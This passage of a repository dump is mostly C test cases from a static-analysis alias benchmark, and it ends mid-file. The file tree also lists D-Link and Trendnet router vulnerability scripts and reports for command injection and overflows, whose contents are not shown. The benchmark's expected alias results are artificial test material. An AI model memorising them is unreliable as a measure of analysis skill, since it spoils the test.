├── Alias-Test ├── README.md ├── basic_c_tests │ ├── CI-funptr.c │ ├── CI-global.c │ ├── CI-local.c │ ├── array-constIdx.c │ ├── array-varIdx.c │ ├── branch-call.c │ ├── branch-intra.c │ ├── constraint-cycle-copy.c │ ├── constraint-cycle-field.c │ ├── field-ptr-arith-varIdx.c │ ├── funptr-global.c │ ├── funptr-nested-call.c │ ├── funptr-simple.c │ ├── funptr-struct.c │ ├── global-call-noparam.c │ ├── global-call-struct.c │ ├── global-call-twoparms.c │ ├── global-const-struct.c │ ├── global-funptr.c │ ├── global-initializer.c │ ├── global-nested-calls.c │ ├── global-simple.c │ ├── heap-indirect.c │ ├── heap-linkedlist.c │ ├── heap-wrapper.c │ ├── heap-wrapper2.c │ ├── ptr-dereference1.c │ ├── ptr-dereference2.c │ ├── ptr-dereference3.c │ ├── socketRead.c │ ├── struct-array.c │ ├── struct-assignment-direct.c │ ├── struct-assignment-indirect.c │ ├── struct-assignment-nested.c │ ├── struct-field-multi-dereference.c │ ├── struct-incompab-typecast-nested.c │ ├── struct-incompab-typecast.c │ ├── struct-instance-return.c │ ├── struct-nested-1-layer.c │ ├── struct-nested-2-layers.c │ ├── struct-nested-array1.c │ ├── struct-nested-array2.c │ ├── struct-nested-array3.c │ ├── struct-onefld.c │ ├── struct-simple.c │ └── struct-twoflds.c ├── cs_tests │ ├── cs0.c │ ├── cs1.c │ ├── cs10.c │ ├── cs11.c │ ├── cs12.c │ ├── cs13.c │ ├── cs14.c │ ├── cs15.c │ ├── cs16.c │ ├── cs17.c │ ├── cs18.c │ ├── cs19.c │ ├── cs2.c │ ├── cs20.c │ ├── cs21.c │ ├── cs3.c │ ├── cs4.c │ ├── cs5.c │ ├── cs6.c │ ├── cs7.c │ ├── cs8.c │ ├── cs9.c │ ├── funcpoiner.c │ ├── new_cs30.c │ ├── new_cs31.c │ ├── recur0.c │ ├── recur10.c │ ├── recur2.c │ ├── recur3.c │ ├── recur4.c │ ├── recur5.c │ ├── recur6.c │ ├── recur7.c │ ├── recur8.c │ └── recur9.c └── fs_tests │ ├── array_alias_1.c │ ├── array_alias_2.c │ ├── array_alias_3.c │ ├── array_alias_4.c │ ├── array_alias_5.c │ ├── array_alias_6.c │ ├── branch_1.c │ ├── branch_2.c │ ├── branch_3.c │ ├── function_pointer.c │ ├── function_pointer_2.c │ ├── global_1.c │ ├── global_2.c │ ├── global_3.c │ ├── global_4.c │ ├── global_5.c │ ├── pcycle1.c │ ├── pcycle2.c │ ├── return.c │ ├── simple_1.c │ ├── simple_2.c │ ├── simple_3.c │ ├── strong_update.c │ ├── struct_1.c │ └── test-su.c ├── D-Link ├── date-comm.py ├── dns-query-comm.py ├── enrollee-pin-comm.py ├── img │ ├── date-command-inject.jpg │ ├── dns_query_name_command_inject.jpg │ ├── enrollee-pin-command-inject.jpg │ └── ntp-server-overflow.jpg ├── ntp-server-overflow.py ├── vulnerability1.md ├── vulnerability2.md ├── vulnerability3.md └── vulnerability4.md ├── README.md └── Trendnet ├── TEW-827 ├── TRENDnet-auto_up_fw.pdf ├── TRENDnet-auto_up_lp.pdf ├── TRENDnet-dhcp_connect.pdf ├── TRENDnet-icp_upload.pdf ├── TRENDnet-kick_ban_wifi.pdf ├── TRENDnet-ping_test.pdf ├── TRENDnet-pppoe.pdf ├── TRENDnet-send_log_email.pdf ├── TRENDnet-set_sta_enrollee.pdf ├── TRENDnet-st_dev.pdf ├── TRENDnet-wifi_captive.pdf ├── auto_up_fw_overflow.pdf ├── auto_up_lp_delete_file.pdf ├── auto_up_lp_overflow.pdf ├── dhcp_connect_command.pdf ├── icp_upload_img_command.pdf ├── kick_ban_wifi_mac_allow_command.pdf ├── kick_ban_wifi_mac_allow_overflow.pdf ├── kick_ban_wifi_mac_deny_command.pdf ├── kick_ban_wifi_mac_deny_overflow.pdf ├── ping_test_overflow.pdf ├── send_log_email_command.pdf ├── send_log_email_overflow.pdf ├── set_sta_enrollee_pin_wifi_command.pdf ├── set_sta_enrollee_pin_wifi_overflow.pdf ├── st_dev_connect_command.pdf ├── st_dev_connect_overflow.pdf ├── st_dev_disconnect_command.pdf ├── st_dev_disconnect_overflow.pdf ├── st_dev_rconnect_command.pdf ├── st_dev_rconnect_overflow.pdf ├── wifi_captive_portal_login_command.pdf └── wifi_captive_portal_login_overflow.pdf └── Trendnet-TEW-632.pdf /Alias-Test/README.md: -------------------------------------------------------------------------------- 1 | A micro-benchmark suite designed for validating various static analysis algorithms. 2 | The benchmark's source is https://github.com/SVF-tools/PTABen. 3 | We add and modify some test cases. 4 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/CI-funptr.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to function pointer resolution. 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | void f(int *m, int *n) 9 | { 10 | MAYALIAS(m, n); 11 | } 12 | 13 | typedef void (*fp)(int*m, int*n); 14 | 15 | int main() 16 | { 17 | int a,b,c,d; 18 | int *pa, *pb; 19 | fp p; 20 | pa = &a, pb = &b; 21 | f(pa, pb); 22 | p = f; 23 | pb = &a; 24 | (*p)(pa, pb); 25 | return 0; 26 | } 27 | 28 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/CI-global.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Context-insensitive. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | 7 | #include "aliascheck.h" 8 | 9 | int global; 10 | int *p_global; 11 | 12 | void foo() { 13 | p_global = &global; 14 | } 15 | 16 | int main() { 17 | int *p_local; 18 | p_local = &global; 19 | foo(); 20 | MAYALIAS(p_local, p_global); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/CI-local.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to context-insensitive 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | void foo(int *m, int *n) 9 | { 10 | // MAYALIAS(m,n); 11 | NOALIAS(m,n); 12 | } 13 | 14 | int main() 15 | { 16 | int *p, *q; 17 | int a,b; 18 | if (a) { 19 | p = &a; 20 | q = &b; 21 | foo(p,q); 22 | } 23 | else { 24 | p = &b; 25 | q = &a; 26 | foo(p,q); 27 | } 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/array-constIdx.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias with array 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int * f1; 10 | int * f2; 11 | }; 12 | 13 | int main() { 14 | struct MyStruct s[2]; 15 | int a,b; 16 | s[0].f1 = &a; 17 | s[1].f1 = &b; 18 | 19 | // Different fields of different elements in a 20 | // certain array are treated as different objects. 21 | NOALIAS(s[0].f1, s[1].f2); 22 | NOALIAS(s[0].f1, s[1].f1); 23 | // MAYALIAS(s[0].f1, s[1].f1); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/array-varIdx.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias with array 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int * f1; 10 | int * f2; 11 | }; 12 | 13 | int main() { 14 | struct MyStruct s[2]; 15 | int a,b; 16 | s[0].f1 = &a; 17 | s[1].f1 = &b; 18 | 19 | // Different fields of different elements in a 20 | // certain array are treated as different objects. 21 | NOALIAS(s[a].f1, s[b].f2); 22 | MAYALIAS(s[a].f1, s[b].f1); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/branch-call.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Alias due to lack of context-sensitivity. 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | void foo(int *m, int *n) 9 | { 10 | NOALIAS(m,n); 11 | // MAYALIAS(m,n); 12 | int x, y; 13 | x = *n; 14 | y = *m; 15 | *m = x; 16 | *n = y; 17 | } 18 | 19 | int main() 20 | { 21 | int *p, *q; 22 | int a, b, c; 23 | if (c) { 24 | p = &a; 25 | q = &b; 26 | foo(p,q); 27 | } 28 | else { 29 | p = &b; 30 | q = &c; 31 | foo(p,q); 32 | } 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/branch-intra.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Author: Sen Ye 3 | * Date: 06/09/2013 4 | */ 5 | #include "aliascheck.h" 6 | 7 | int main() 8 | { 9 | int *p, *q; 10 | int a, b, c; 11 | if (c) { 12 | p = &a; 13 | q = &b; 14 | } 15 | else { 16 | p = &b; 17 | q = &c; 18 | } 19 | MAYALIAS(p,q); 20 | // NOALIAS(p,q); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/constraint-cycle-copy.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Cycle 3 | * Author: Sen Ye 4 | * Date: 11/10/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | int main() { 9 | int **x1, **y1, **z1; 10 | int *x2, *y2, *z2, *y2_; 11 | int x3, y3, z3, y3_; 12 | x2 = &x3, y2 = &y3, z2 = &z3; 13 | x1 = &x2, y1 = &y2, z1 = &z2; 14 | // if the following branch is commented out, 15 | // the first alias check will fail while 16 | // the second one is OK. 17 | if (y3_) { 18 | y1 = &y2_; 19 | y2_ = &y3_; 20 | } 21 | *x1 = *y1; 22 | *y1 = *z1; 23 | *z1 = *x1; 24 | // there should be a cycle from 25 | // y2 -> x2 -> z2 -> y2 26 | MAYALIAS(x2, y2); 27 | MAYALIAS(z2, x2); 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/constraint-cycle-field.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Field cycle. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | 7 | #include 8 | #include "aliascheck.h" 9 | 10 | struct MyStruct { 11 | int * f1; 12 | struct MyStruct * next; 13 | }; 14 | 15 | int main() { 16 | struct MyStruct * p = (struct MyStruct *) malloc (sizeof(struct MyStruct)); 17 | int num = 10; 18 | while (num) { 19 | p->next = (struct MyStruct *) malloc (sizeof(struct MyStruct)); 20 | p->next->f1 = (int *) malloc (sizeof(int)); 21 | p = p->next; 22 | } 23 | struct MyStruct *q = p; 24 | MAYALIAS(q->next, p->next->next); 25 | MAYALIAS(q->f1, p->next->f1); 26 | return 0; 27 | } 28 | 29 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/field-ptr-arith-varIdx.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Pointer arithmetic 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct s { 9 | int* f1; 10 | int* f2; 11 | }; 12 | 13 | int main() 14 | { 15 | int **q, **p; 16 | int a,b; 17 | struct s s1; 18 | s1.f1 = &a; 19 | s1.f2 = &b; 20 | q = &(s1.f1); 21 | // b is not a constant, p would point to all 22 | // the fields of q's points-to targets 23 | p = q+b; 24 | MAYALIAS(*p,&b); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/funptr-global.c: -------------------------------------------------------------------------------- 1 | /* 2 | * functionpointer1.c 3 | * Test function pointer with field initialization of globals 4 | * 5 | * Created on: 01/09/2015 6 | * Author: Yulei Sui 7 | */ 8 | #include "aliascheck.h" 9 | 10 | typedef int PRSize; 11 | typedef unsigned int PRUint32; 12 | typedef unsigned int PRUintn; 13 | typedef int PRIntn; 14 | 15 | struct PLHashAllocOps { 16 | void *(*allocTable)(void *pool , PRSize size ) ; 17 | }; 18 | typedef struct PLHashAllocOps PLHashAllocOps; 19 | 20 | static void *DefaultAllocTable(void *pool , PRSize size ) 21 | { void *tmp ; 22 | 23 | { 24 | tmp = malloc((unsigned int )size); 25 | return (tmp); 26 | } 27 | } 28 | 29 | PLHashAllocOps defaultHashAllocOps = {& DefaultAllocTable}; 30 | void PL_NewHashTable(PRUint32 n , void *allocPriv ) 31 | { 32 | void *tmp___0 ; 33 | void *tmp___1 ; 34 | 35 | PLHashAllocOps const * allocOps = (PLHashAllocOps const *)(& defaultHashAllocOps); 36 | tmp___0 = (*(allocOps->allocTable))(allocPriv, (int )sizeof(int)); 37 | tmp___1 = (*(allocOps->allocTable))(allocPriv, (int )sizeof(int)); 38 | // MAYALIAS(tmp___0,tmp___1); 39 | NOALIAS(tmp___0,tmp___1); 40 | 41 | } 42 | 43 | int main(){return 0;} 44 | 45 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/funptr-nested-call.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | #include 4 | #include 5 | 6 | void f(int *p, int *q) { MAYALIAS(p, q); } 7 | void g(int *p, int *q) { MAYALIAS(p, q); } 8 | void (*p)(int *m, int *n); 9 | 10 | void fake_fun (void (*a)()) { 11 | int *m, *n, x, y; 12 | m = &x; 13 | n = &y; 14 | p = a; 15 | p(m, n); 16 | } 17 | 18 | void real_fun (void (*a)()) { 19 | int *m, *n, x, y; 20 | m = &x; 21 | n = &x; 22 | p = a; 23 | p(m, n); 24 | } 25 | 26 | void (*fptr)(void (*p)()); 27 | 28 | void set(void (*src)()) { 29 | fptr = src; 30 | } 31 | 32 | int main(int argc, char **argv) 33 | { 34 | set(&fake_fun); 35 | set(&real_fun); 36 | 37 | fptr(&f); 38 | 39 | fptr(&g); 40 | 41 | return 0; 42 | } 43 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/funptr-simple.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Function pointer. 3 | * Author: Sen Ye 4 | * Date: 10/10/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | void f(int *p, int *q) { 9 | // if function pointer solved correctly, 10 | // p and q will alias due to CS1 11 | MAYALIAS(p,q); 12 | } 13 | 14 | void (*fptr)(int*,int*); 15 | 16 | int main() { 17 | int x, y; 18 | int *m, *n; 19 | if (x) { 20 | m = &x, n = &x; 21 | fptr = f; 22 | fptr(m,n); // CS1 23 | } 24 | else { 25 | m = &x; n = &y; 26 | f(m,n); // CS2 27 | } 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/funptr-struct.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "aliascheck.h" 3 | int g; 4 | static int my_sn_write(int* p) { 5 | printf("Executing my_sn_write\n"); 6 | MAYALIAS(&g,p); 7 | return 0; 8 | } 9 | 10 | struct MYFILE { 11 | int (*pt) (int* p); 12 | }; 13 | 14 | void my_vfprintf(struct MYFILE *pts) { 15 | printf("Executing bar\n"); 16 | int *p = &g; 17 | pts->pt(p); 18 | } 19 | 20 | int my_vsnprintf() { 21 | struct MYFILE pts = { .pt = my_sn_write }; 22 | my_vfprintf(&pts); 23 | return 0; 24 | } 25 | 26 | int main() { 27 | my_vsnprintf(); 28 | return 0; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-call-noparam.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variables test. 3 | * Author: Sen Ye 4 | * Date: 03/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | int *p = NULL; 9 | int *q = NULL; 10 | int c; 11 | 12 | void foo() { 13 | MAYALIAS(p, q); 14 | } 15 | 16 | void bar() { 17 | q = &c; 18 | } 19 | 20 | int main() { 21 | int a, b; 22 | p = &a; 23 | q = p; 24 | p = &c; 25 | } 26 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-call-struct.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variables test. 3 | * Author: Sen Ye 4 | * Date: 07/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | char f0[20]; 10 | int f1; 11 | int* f2; 12 | }; 13 | 14 | int x, y; 15 | struct MyStruct global = {"abcdefg", 20, &x}; 16 | 17 | void foo(int** pp, int** qq) { 18 | *pp = &x; 19 | *qq = &y; 20 | } 21 | 22 | void bar(int** pp, int** qq) { 23 | *pp = &x; 24 | *qq = &x; 25 | } 26 | 27 | int main() { 28 | int *p, *q; 29 | int **pp, **qq; 30 | pp = &p; 31 | qq = &q; 32 | bar(pp,qq); 33 | MAYALIAS(p, q); 34 | MAYALIAS(global.f2, *qq); 35 | } 36 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-call-twoparms.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variables test. 3 | * Author: Sen Ye 4 | * Date: 07/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct MyStruct { 9 | int f1; 10 | void (*fp)(int**, int**); 11 | }; 12 | 13 | struct MyStruct global; 14 | int x, y; 15 | 16 | void foo(int** pp, int** qq) { 17 | *pp = &x; 18 | *qq = &y; 19 | } 20 | 21 | void bar(int** pp, int** qq) { 22 | *pp = &x; 23 | *qq = &x; 24 | } 25 | 26 | void init() { 27 | global.fp = foo; 28 | } 29 | 30 | void init2() { 31 | global.fp = bar; 32 | } 33 | 34 | void run(int** pp, int**qq) { 35 | (*global.fp)(pp, qq); 36 | } 37 | 38 | int main() { 39 | int *p, *q; 40 | int **pp, **qq; 41 | pp = &p; 42 | qq = &q; 43 | init(); 44 | run(pp, qq); 45 | // They are alias due to the wrongly solved 46 | // target, bar(), at indirect call site in 47 | // run(). 48 | MAYALIAS(*pp, *qq); 49 | // NOALIAS(*pp, *qq); 50 | } 51 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-const-struct.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "aliascheck.h" 3 | int g; 4 | static int my_sn_write(int* p) { 5 | printf("Executing my_sn_write\n"); 6 | MAYALIAS(&g,p); 7 | return 0; 8 | } 9 | 10 | struct MYFILE { 11 | int (*pt) (int* p); 12 | }; 13 | 14 | struct MyStruct { 15 | const struct MYFILE *myfile; 16 | }; 17 | 18 | const struct MYFILE pts = { .pt = my_sn_write }; 19 | const struct MyStruct ms = { .myfile = &pts }; 20 | 21 | void my_vfprintf(const struct MyStruct *ms) { 22 | printf("Executing bar\n"); 23 | int *p = &g; 24 | ms->myfile->pt(p); 25 | } 26 | 27 | int main() { 28 | my_vfprintf(&ms); 29 | return 0; 30 | } 31 | 32 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-funptr.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variables with function pointer initialisation. 3 | * Author: Sen Ye 4 | * Date: 07/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | int x, y; 9 | int* p; 10 | 11 | void foo() { 12 | p = &y; 13 | } 14 | 15 | struct MyStruct { 16 | void (*fp)(); 17 | int* f1; 18 | }; 19 | 20 | struct MyStruct context = { foo, &x }; 21 | 22 | int main() 23 | { 24 | (*context.fp)(); 25 | int* q = p; 26 | MUSTALIAS(q, &y); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-initializer.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variable 3 | * Author: Sen Ye 4 | * Date: 13/10/2013 5 | * Description: initialise global variables when declared 6 | * and check alias in main function. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | int x; 11 | int *p, *q; 12 | int **pp = &p; 13 | int **qq = &q; 14 | 15 | void foo() { 16 | p = &x; 17 | } 18 | 19 | void bar() { 20 | q = &x; 21 | } 22 | 23 | int main() { 24 | // MAYALIAS(*pp, *qq); 25 | NOALIAS(*pp, *qq); 26 | foo(); 27 | bar(); 28 | MAYALIAS(*pp, *qq); // Add 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-nested-calls.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variable 3 | * Author: Sen Ye 4 | * Date: 13/10/2013 5 | * Description: Initialise global variables in callee and check alias 6 | * in caller. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | int **pp, **qq; 11 | int *p, *q; 12 | int x; 13 | 14 | void foo() { 15 | pp = &p; 16 | p = &x; 17 | } 18 | 19 | void bar() { 20 | qq = &q; 21 | q = &x; 22 | } 23 | 24 | int main() { 25 | NOALIAS(*pp, *qq); 26 | foo(); 27 | bar(); 28 | MAYALIAS(*pp, *qq); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/global-simple.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Global variables test. 3 | * Author: Sen Ye 4 | * Date: 03/05/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | int a_int = 10; 9 | int* p_int = &a_int; 10 | int** pp_int = &p_int; 11 | 12 | int main() { 13 | int b_int = a_int; 14 | int* q_int = p_int; 15 | int** qq_int = pp_int; 16 | MUSTALIAS(*qq_int, q_int); 17 | MUSTALIAS(q_int, &a_int); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/heap-indirect.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Heap 3 | * Author: Sen Ye 4 | * Date: 12/10/2013 5 | * Description: heap objects are identified according to their 6 | * allocation sites. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | // return two malloc object 11 | void malloc_two(int **p, int **q) { 12 | *p = (int*) malloc(sizeof(int)); 13 | *q = (int*) malloc(sizeof(int)); 14 | } 15 | 16 | int main() { 17 | int **o1 = malloc(100); 18 | int **o2 = malloc(100); 19 | malloc_two(o1, o2); 20 | NOALIAS(*o1, *o2); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/heap-linkedlist.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Heap 3 | * Author: Sen Ye 4 | * Date: 15/10/2013 5 | * Description: heap objects are identified according to their 6 | * allocation sites. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | struct Node { 11 | int *data; 12 | struct Node *next; 13 | }; 14 | 15 | // return two malloc object 16 | void malloc_list(struct Node *p, int num) { 17 | int *p_data1=NULL, *p_data2=NULL; 18 | struct Node *p_next = NULL; 19 | p->data = NULL; 20 | while (num!=0) { 21 | p->data = (int *) malloc(sizeof(int)); 22 | p_data1 = p->data; 23 | p_next = (struct Node*) malloc(sizeof(struct Node)); 24 | p->next = p_next; 25 | p_data2 = p->data; 26 | num--; 27 | } 28 | MAYALIAS(p_data1, p_data2); 29 | NOALIAS(p_next, p_data1); 30 | } 31 | 32 | int main() { 33 | struct Node* head = (struct Node*) malloc(sizeof(struct Node)); 34 | int num = 4; 35 | malloc_list(head, num); 36 | NOALIAS(head->next->data, head->next->next); 37 | return 0; 38 | } 39 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/heap-wrapper.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Heap 3 | * Author: Sen Ye 4 | * Date: 12/10/2013 5 | * Description: heap objects are identified according to their 6 | * allocation sites. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | // return one malloc object 11 | int * my_alloc() { 12 | int * p = (int *) malloc(sizeof(int)); 13 | return p; 14 | } 15 | 16 | int main() { 17 | int * o1 = my_alloc(); 18 | int * o2 = my_alloc(); 19 | NOALIAS(o1, o2); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/heap-wrapper2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Heap 3 | * Author: Sen Ye 4 | * Date: 12/10/2013 5 | * Description: heap objects are identified according to their 6 | * allocation sites. 7 | */ 8 | #include "aliascheck.h" 9 | 10 | struct s{ 11 | int *a; 12 | int b; 13 | }; 14 | 15 | // return one malloc object 16 | struct s * my_alloc() { 17 | struct s * p = (struct s *) malloc(sizeof(struct s)); 18 | return p; 19 | } 20 | 21 | 22 | struct s * foo() { 23 | struct s * q; 24 | q = my_alloc(); 25 | q->a = (int *) malloc(sizeof(int)); 26 | q->b = 100; 27 | return q; 28 | } 29 | 30 | 31 | int main() { 32 | int * o1 = foo(); 33 | int * o2 = foo(); 34 | NOALIAS(o1, o2); 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/ptr-dereference1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Simple alias check 3 | * Author: Sen Ye 4 | * Date: 06/09/2013 5 | */ 6 | #include "aliascheck.h" 7 | 8 | int main() 9 | { 10 | int a,b,*c,*d; 11 | c = &a; 12 | d = &a; 13 | MUSTALIAS(c,d); 14 | c = &b; 15 | // In LLVM, every declared variable is address-taken 16 | // accessed via pointers through loads/stores 17 | // c here is loaded from the same memory on LLVM's partial SSA form 18 | // MAYALIAS(c,d); 19 | NOALIAS(c,d); 20 | NOALIAS(&b,d); 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/ptr-dereference2.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | int main(){ 4 | 5 | int **a, *b, *x ,c; 6 | c = 10; 7 | a = &b; 8 | b = &c; 9 | x = *a; 10 | int y = *x; 11 | MUSTALIAS(x,&c); 12 | MUSTALIAS(x,b); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/ptr-dereference3.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | void foo(int q){ 3 | int i = 10; 4 | int k = i; 5 | 6 | } 7 | int main(){ 8 | 9 | int *s,*r,*x,**y,t,z,k; 10 | s = &t; 11 | r = &z; 12 | y = &r; 13 | s = r; 14 | MUSTALIAS(s,&z); 15 | x = *y; 16 | MUSTALIAS(x,r); 17 | foo(k); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/socketRead.c: -------------------------------------------------------------------------------- 1 | #include "aliascheck.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | typedef void (*socketHandler_t)(int sid, int mask, int data); 10 | typedef int (*socketAccept_t)(int sid, char *ipaddr, int port, int listenSid); 11 | 12 | typedef struct { 13 | unsigned char *buf; /* Holding buffer for data */ 14 | unsigned char *servp; /* Pointer to start of data */ 15 | unsigned char *endp; /* Pointer to end of data */ 16 | unsigned char *endbuf; /* Pointer to end of buffer */ 17 | int buflen; /* Length of ring queue */ 18 | int maxsize; /* Maximum size */ 19 | int increment; /* Growth increment */ 20 | } ringq_t; 21 | 22 | typedef struct { 23 | char host[64]; /* Host name */ 24 | ringq_t inBuf; /* Input ring queue */ 25 | ringq_t outBuf; /* Output ring queue */ 26 | ringq_t lineBuf; /* Line ring queue */ 27 | socketAccept_t accept; /* Accept handler */ 28 | socketHandler_t handler; /* User I/O handler */ 29 | int handler_data; /* User handler data */ 30 | int handlerMask; /* Handler events of interest */ 31 | int sid; /* Index into socket[] */ 32 | int port; /* Port to listen on */ 33 | int flags; /* Current state flags */ 34 | int sock; /* Actual socket handle */ 35 | int fileHandle; /* ID of the file handler */ 36 | int interestEvents; /* Mask of events to watch for */ 37 | int currentEvents; /* Mask of ready events (FD_xx) */ 38 | int selectEvents; /* Events being selected */ 39 | int saveMask; /* saved Mask for socketFlush */ 40 | int error; /* Last error */ 41 | } socket_t; 42 | 43 | socket_t *socketPtr(int sid) { 44 | char *host = "192.168.1.1"; 45 | socket_t *ptr = (socket_t*)malloc(sizeof(socket_t)); 46 | ptr->sid = 1; 47 | ptr->port = 80; 48 | strcpy(ptr->host, host); 49 | return ptr; 50 | } 51 | 52 | void ringqFlush(ringq_t *rq){ 53 | rq->servp = rq->buf; 54 | rq->endp = rq->buf; 55 | } 56 | 57 | int socketRead(int sid, char *buf, int bufsize){ 58 | socket_t *sp; 59 | ringq_t *rq; 60 | int len; 61 | 62 | sp = socketPtr(sid); 63 | rq = &sp->inBuf; 64 | ringqFlush(rq); 65 | 66 | MUSTALIAS((&sp->inBuf)->endp, rq->servp); 67 | /* len = recv(sp->sock, (char *) (&sp->inBuf)->endp, bufsize, 0); */ 68 | // len = recv(sp->sock,(&sp->inBuf)->endp,bufsize,0); 69 | // memcpy(buf, rq->servp, len); 70 | return 0; 71 | } 72 | 73 | int main() { 74 | char buf[200]; 75 | socketRead(0, buf, 100); 76 | return 0; 77 | } 78 | 79 | 80 | 81 | 82 | // void ringqFlush(ringq_t *rq){ 83 | // rq->servp = rq->buf; 84 | // } 85 | 86 | // void socketRead(int sid, int bufsize){ 87 | // char rbuf[200]; 88 | // int len; 89 | // socket_t *sp; 90 | // ringq_t *rq; 91 | 92 | // sp = socketPtr(sid); 93 | // rq = sp->inBuf; 94 | // ringqFlush(rq); 95 | // len = recv(sp->sock, sp->inBuf->buf, bufsize, 0); 96 | // memcpy(rbuf, rq->servp, len); 97 | // } 98 | 99 | // void main() { 100 | // foo(0, 100); 101 | // foo(1, 300); 102 | // } 103 | -------------------------------------------------------------------------------- /Alias-Test/basic_c_tests/struct-array.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Struct with array. 3 | * Author: Sen Ye 4 | * Date: 28/04/2014 5 | */ 6 | #include "aliascheck.h" 7 | 8 | struct ArrayStruct { 9 | int f1; 10 | char f2; 11 | int f3[100]; 12 | int f4; 13 | }; 14 | 15 | int main() { 16 | struct ArrayStruct* p; 17 | struct ArrayStruct s; 18 | int *q, i, j; 19 | 20 | p = &s; 21 | q = &s.f3[40]; 22 | MUSTALIAS(&p->f3[40], q); 23 | NOALIAS(&p->f3[20], &p->f3[30]); 24 | MAYALIAS(&s.f3[i], &s.f3[j]); 25 | 